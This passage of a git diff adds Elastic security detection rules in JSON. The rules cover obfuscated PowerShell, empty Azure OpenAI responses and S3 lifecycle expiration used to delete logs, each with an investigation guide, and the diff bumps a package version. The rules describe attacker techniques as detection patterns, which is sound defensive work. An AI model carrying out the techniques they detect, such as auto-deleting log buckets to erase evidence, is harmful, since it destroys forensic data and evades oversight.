"type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "f9abcddc-a05d-4345-a81d-000b79aa5525", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "f9abcddc-a05d-4345-a81d-000b79aa5525_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/fb16f9ef-cb03-4234-adc2-44641f3b71ee_4.json b/packages/security_detection_engine/kibana/security_rule/fb16f9ef-cb03-4234-adc2-44641f3b71ee_4.json new file mode 100644 index 00000000000..44ebec80f12 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/fb16f9ef-cb03-4234-adc2-44641f3b71ee_4.json @@ -0,0 +1,55 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when Azure OpenAI requests result in zero response length, potentially indicating issues in output handling that might lead to security exploits such as data leaks or code execution. This can occur in cases where the API fails to handle outputs correctly under certain input conditions.", + "false_positives": [ + "Queries that are designed to expect empty responses or benign system errors" + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Azure OpenAI Insecure Output Handling", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Azure OpenAI Insecure Output Handling\n\nAzure OpenAI integrates AI capabilities into applications, enabling natural language processing tasks. However, improper output handling can lead to vulnerabilities, such as data leaks or unauthorized code execution. Adversaries might exploit these by crafting inputs that cause the API to mishandle responses. The detection rule identifies anomalies by flagging instances where API responses are unexpectedly empty, suggesting potential misuse or misconfiguration, especially when such events occur frequently.\n\n### Possible investigation steps\n\n- Review the logs for the specific Azure resource name flagged in the alert to understand the context and frequency of zero-length responses.\n- Examine the request lengths associated with the zero-length responses to identify any patterns or anomalies in the input data that might be causing the issue.\n- Check the cloud account ID associated with the alert to determine if there are any known issues or recent changes in configuration that could affect output handling.\n- Investigate the operation name \"ChatCompletions_Create\" to ensure that the API is being used as intended and that there are no unauthorized or unexpected uses.\n- Assess the overall environment for any recent updates or changes in the Azure OpenAI configuration that might have impacted output handling.\n\n### False positive analysis\n\n- Frequent legitimate requests with zero response length can occur during testing or development phases. To manage this, exclude known test environments or accounts from the detection rule by adding exceptions for specific cloud.account.id or azure.resource.name values.\n- Some applications may intentionally send requests that do not require a response, resulting in zero response length. Identify these applications and adjust the rule to exclude their specific azure.resource.name.\n- Network issues or temporary service disruptions can lead to zero-length responses. Monitor for patterns of such occurrences and consider excluding specific time frames or network segments if they are known to cause false positives.\n- Automated scripts or bots that interact with the API might generate zero-length responses as part of their normal operation. Identify these scripts and exclude their associated identifiers from the rule to prevent false alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected Azure OpenAI resource to prevent further exploitation. This can be done by temporarily disabling the API or restricting access to it.\n- Review and validate the input handling mechanisms of the affected API to ensure they are robust against malformed or malicious inputs that could lead to insecure output handling.\n- Conduct a thorough audit of recent API requests and responses to identify any unauthorized access or data leaks. Pay special attention to requests with zero response length.\n- Implement additional logging and monitoring for the affected API to capture detailed information about requests and responses, which can help in identifying patterns or repeated attempts of exploitation.\n- Notify the security team and relevant stakeholders about the incident, providing them with detailed findings and any potential impact on data security.\n- If unauthorized access or data leakage is confirmed, follow the organization's incident response plan to notify affected parties and comply with any regulatory requirements.\n- Enhance detection capabilities by integrating anomaly detection tools that can identify unusual patterns in API usage, such as frequent zero-length responses, to prevent similar threats in the future.\n", + "query": "from logs-azure_openai.logs-*\n| where\n azure.open_ai.properties.response_length == 0 and\n azure.open_ai.result_signature == \"200\" and\n azure.open_ai.operation_name == \"ChatCompletions_Create\"\n| keep\n azure.open_ai.properties.request_length,\n azure.open_ai.result_signature,\n cloud.account.id,\n azure.resource.name\n| stats\n Esql.event_count = count(*)\n by\n azure.resource.name\n| where\n Esql.event_count >= 10\n| sort\n Esql.event_count desc\n", + "references": [ + "https://genai.owasp.org/llmrisk/llm02-insecure-output-handling" + ], + "related_integrations": [ + { + "package": "azure_openai", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "azure.resource.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "fb16f9ef-cb03-4234-adc2-44641f3b71ee", + "setup": "## Setup\n\nFor more information on streaming events, see the Azure OpenAI documentation:\n\nhttps://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs\n", + "severity": "low", + "tags": [ + "Domain: LLM", + "Data Source: Azure OpenAI", + "Data Source: Azure Event Hubs", + "Use Case: Insecure Output Handling", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "fb16f9ef-cb03-4234-adc2-44641f3b71ee_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/ff320c56-f8fa-11ee-8c44-f661ea17fbce_6.json b/packages/security_detection_engine/kibana/security_rule/ff320c56-f8fa-11ee-8c44-f661ea17fbce_6.json new file mode 100644 index 00000000000..ac18ff8f371 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/ff320c56-f8fa-11ee-8c44-f661ea17fbce_6.json @@ -0,0 +1,140 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity.", + "event_category_override": "event.type", + "false_positives": [ + "Legitimate administrators may add lifecycle expiration configurations to reduce storage costs or enforce retention policies. Confirm whether this change aligns with an approved data management policy or infrastructure-as-code workflow. Known lifecycle automation processes (e.g., cost-management tools, data-lifecycle governance jobs) can be safely excluded from alerting once verified." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "aws.cloudtrail.resources.arn", + "aws.cloudtrail.resources.type", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS S3 Bucket Expiration Lifecycle Configuration Added", + "note": "## Triage and analysis\n\n### Investigating AWS S3 Bucket Expiration Lifecycle Configuration Added\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\nThis rule detects when a lifecycle expiration policy is added to an S3 bucket via the `PutBucketLifecycle` or `PutBucketLifecycleConfiguration` API. Note: `PutBucketLifecycleConfiguration` is the newer supported API call, however both of these API calls show up as `PutBucketLifecycle` in Cloudtrail [ref](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-bucket-level-tracking).\nLifecycle expiration automatically deletes objects after a defined period (`Expiration:Days`), which can be leveraged by adversaries to erase logs, exfiltration evidence, or security artifacts before detection and response teams can review them.\n\nBecause deletion is automated and often silent, detecting the initial configuration event is critical.\n\n#### Possible investigation steps\n\n**Identify the actor and execution context**\n\n- **Principal and Identity Type**: \n Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. \n Determine if the actor is an IAM user, role, or automation service account. \n - Unusual: temporary credentials, federated roles, or previously inactive accounts.\n- **Source Information**: \n Review `source.ip`, `cloud.region`, and `user_agent.original` for unexpected geolocations, tool usage (CLI, SDK, automation service), or newly-observed hosts.\n- **Timestamp correlation**: \n Use `@timestamp` to check if this activity occurred during change windows or off-hours.\n\n**Examine the lifecycle configuration details**\n- Extract details from `aws.cloudtrail.request_parameters`:\n - `Expiration`: Number of days until deletion (e.g., `Days=1` indicates rapid expiry). \n - `Prefix`: If limited to certain object paths (e.g., `/logs/`, `/tmp/`). \n - `Status`: `Enabled` vs. `Disabled`. \n - `ID` or rule name: May reveal purpose (\u201ccleanup-test\u201d, \u201cdelete-logs\u201d).\n- Determine the affected bucket from `aws.cloudtrail.resources.arn` or `aws.cloudtrail.resources.type`. \n Cross-check the bucket\u2019s purpose (e.g., log storage, data lake, analytics export, threat forensics). \n - High-risk if the bucket contains audit, CloudTrail, or application logs.\n\n**Correlate with related AWS activity**\nUse AWS CloudTrail search or your SIEM to pivot for:\n- **Prior suspicious activity**:\n - `DeleteObject`, `PutBucketPolicy`, `PutBucketAcl`, or `PutBucketLogging` changes to disable visibility.\n - IAM changes such as `AttachUserPolicy` or `CreateAccessKey` that may have enabled this modification.\n- **Subsequent changes**:\n - `PutBucketLifecycle` events in other buckets (repeated pattern). \n - Rapid `DeleteObject` events or object expiration confirmations.\n- **Cross-account activity**:\n - Lifecycle rules followed by replication or cross-account copy events may indicate lateral exfiltration setup.\n\n**Assess intent and risk**\n- Verify if the actor has a valid business case for altering object retention. \n- If the bucket is used for security, compliance, or audit data, treat this as potential defense evasion. \n- Evaluate whether the lifecycle rule removes data faster than your retention policy permits.\n\n### False positive analysis\n\n- **Cost optimization**: Storage teams may automate lifecycle policies to reduce cost on infrequently accessed data.\n- **Compliance enforcement**: Organizations implementing legal retention policies may set expiration for specific datasets.\n- **Automation and IaC pipelines**: Terraform or CloudFormation templates often apply `PutBucketLifecycle` during resource deployment.\n\n### Response and remediation\n\n**Containment and validation**\n1. **Revert or disable** the lifecycle configuration if it is unauthorized: \n - Use the AWS Console or CLI (`delete-bucket-lifecycle` or `put-bucket-lifecycle-configuration --lifecycle-configuration Disabled`).\n2. **Preserve evidence**: \n - Copy existing objects (especially logs or forensic data) before they expire. \n - Enable object versioning or replication to protect against loss.\n\n**Investigation**\n3. Review CloudTrail and S3 Access Logs for the same bucket:\n - Identify who and what performed previous deletions.\n - Determine whether any objects of investigative value have already been removed.\n4. Search for other S3 buckets where similar lifecycle configurations were added in a short timeframe.\n\n**Recovery and hardening**\n5. Implement guardrails:\n - Use AWS Config rules like `s3-bucket-lifecycle-configuration-check` to monitor lifecycle changes.\n - Restrict `s3:PutLifecycleConfiguration` to specific administrative roles.\n - Enable [S3 Object Lock](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html) on log or evidence buckets to enforce immutability.\n6. Enable Security Hub and GuardDuty findings for additional anomaly detection on S3 data management activity.\n\n### Additional information\n\n- **AWS Documentation** \n - [S3 Lifecycle Configuration](https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html) \n - [DeleteBucketLifecycle API Reference](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html)\n- **AWS Playbooks** \n - [Data Exposure and Exfiltration Response](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-PersonalDataBreach.md) \n - [AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/main)\n", + "query": "info where event.dataset == \"aws.cloudtrail\"\n and event.action == \"PutBucketLifecycle\"\n and event.outcome == \"success\"\n and stringContains(aws.cloudtrail.request_parameters, \"Expiration=\")\n", + "references": [ + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "ff320c56-f8fa-11ee-8c44-f661ea17fbce", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: Amazon S3", + "Use Case: Asset Visibility", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1070", + "name": "Indicator Removal", + "reference": "https://attack.mitre.org/techniques/T1070/" + }, + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.008", + "name": "Disable or Modify Cloud Logs", + "reference": "https://attack.mitre.org/techniques/T1562/008/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1485", + "name": "Data Destruction", + "reference": "https://attack.mitre.org/techniques/T1485/", + "subtechnique": [ + { + "id": "T1485.001", + "name": "Lifecycle-Triggered Deletion", + "reference": "https://attack.mitre.org/techniques/T1485/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 6 + }, + "id": "ff320c56-f8fa-11ee-8c44-f661ea17fbce_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/manifest.yml b/packages/security_detection_engine/manifest.yml index 9bd9cc31545..c3aaa6fd7ec 100644 --- a/packages/security_detection_engine/manifest.yml +++ b/packages/security_detection_engine/manifest.yml @@ -21,4 +21,4 @@ source: license: Elastic-2.0 title: Prebuilt Security Detection Rules type: integration -version: 8.19.9 +version: 8.19.10-beta.1